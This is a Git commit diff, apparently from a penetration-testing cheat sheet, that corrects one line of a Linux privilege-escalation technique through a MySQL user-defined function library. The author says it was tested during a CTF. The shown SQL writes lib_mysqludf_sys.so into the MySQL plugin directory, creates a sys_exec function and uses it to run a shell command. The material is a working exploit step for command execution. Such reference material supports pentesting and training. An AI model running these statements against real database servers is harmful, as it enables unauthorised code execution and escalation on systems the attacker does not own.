Fixed "Privilege Escalation via library" > Linux

Fixed the error on line 151, the dump file was wrong
Tested during Namhacon CTF
This commit is contained in:
Madenix 2021-03-14 19:09:13 +01:00 committed by GitHub
parent 271e0ab6a2
commit faa21b4b0b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -148,7 +148,7 @@ You can find **compiled versions** of this **libraries** in sqlmap: `locate lib_
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from npn into dumpfile '/tmp/lib_mysqludf_sys.so';
select * from npn into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt');
```